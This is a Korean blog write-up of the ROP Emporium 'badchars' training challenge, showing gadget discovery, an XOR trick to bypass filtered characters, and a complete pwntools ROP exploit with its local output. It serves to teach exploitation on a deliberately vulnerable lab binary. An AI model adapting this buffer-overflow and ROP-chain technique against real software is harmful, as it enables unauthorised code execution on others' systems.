[ROP Emporium] badchars

Sisyphus·2022년 8월 30일

ROP Emporium

목록 보기
5/5

문제

1. print_file( ) 함수를 이용해서 파일 내용을 출력할 수 있습니다.
2. badchars 문제가 존재합니다.
3. xor을 사용하여 badchars 문제를 해결할 수 있습니다.
4. 문자열을 변조하기 위해 가젯을 사용할 수 있습니다.


offset 찾기

   0x00007ffff7c00972 <+120>:   lea    rax,[rbp-0x40]
   0x00007ffff7c00976 <+124>:   add    rax,0x20
   0x00007ffff7c0097a <+128>:   mov    edx,0x200
   0x00007ffff7c0097f <+133>:   mov    rsi,rax
   0x00007ffff7c00982 <+136>:   mov    edi,0x0
   0x00007ffff7c00987 <+141>:   call   0x7ffff7c007c0 <read@plt>	# read(0, rbp-0x20, 0x200)
  • offset : 0x28 = 40


공격 준비

badchars 문제

badchars are: 'x', 'g', 'a', '.'

badchars 문자를 사용할 수 없습니다.

해결책

badchars 문제는 xor 연산을 두번하면 원래 값으로 돌아온다는 성질을 이용하여 해결할 수 있습니다.

익스플로잇 계획

1. "flag.txt" 문자열을 xor 연산을 한 후 bss에 저장하여 badchars 문제를 우회합니다.
2. bss 영역에 저장된 값을 xor 연산해서 다시 "flag.txt"로 복원합니다.
3. "flag.txt"를 인자로 print_file 함수를 호출하여 flag를 출력합니다.

가젯 찾기

 kali@kali  ~/wargame/ROP/badchars  ROPgadget --binary ./badchars --re "pop rdi"
Gadgets information
============================================================
0x00000000004006a3 : pop rdi ; ret
 kali@kali  ~/wargame/ROP/badchars  ROPgadget --binary ./badchars --re "xor"    
Gadgets information
============================================================
0x0000000000400628 : xor byte ptr [r15], r14b ; ret
 kali@kali  ~/wargame/ROP/badchars  ROPgadget --binary ./badchars --re "pop"
Gadgets information
============================================================
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
 ✘ kali@kali  ~/wargame/ROP/badchars  ROPgadget --binary ./badchars --re "mov"
Gadgets information
============================================================
0x0000000000400634 : mov qword ptr [r13], r12 ; ret
  • pop_rdi = 0x4006a3
  • xor_r15_r14 = 0x400628
  • pop_r12_r13_r14_r15 = 0x40069c
  • pop_r14_r15 = 0x4006a0
  • mov_r13_r12 = 0x400634


익스플로잇 코드

from pwn import *

p = process("./badchars")
e = ELF("./badchars")

#context.log_level = 'debug'

def xor(flag):
    result = ""
    for ch in flag:
        result += chr(ord(ch) ^ 2)
    return bytes(result, 'utf-8')

print_file = e.symbols['print_file']
bss = e.bss()

pop_rdi = 0x4006a3
xor_r15_r14 = 0x400628
pop_r14_r15 = 0x4006a0
mov_r13_r12 = 0x400634
pop_r12_r13_r14_r15 = 0x40069c

flag = xor("flag.txt")
print(flag)

payload = b'A' * 40

payload += p64(pop_r12_r13_r14_r15)
payload += flag + p64(bss) + p64(1) + p64(1)
payload += p64(mov_r13_r12)

for i in range(8):
    payload += p64(pop_r14_r15)
    payload += p64(2) + p64(bss + i)
    payload += p64(xor_r15_r14)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(print_file)

p.sendline(payload)
p.interactive()


익스플로잇

 kali@kali  ~/wargame/ROP/badchars  python3 exploit.py
[+] Starting local process './badchars': pid 34228
[*] '/home/kali/wargame/ROP/badchars/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
b'dnce,vzv'
[*] Switching to interactive mode
badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

0개의 댓글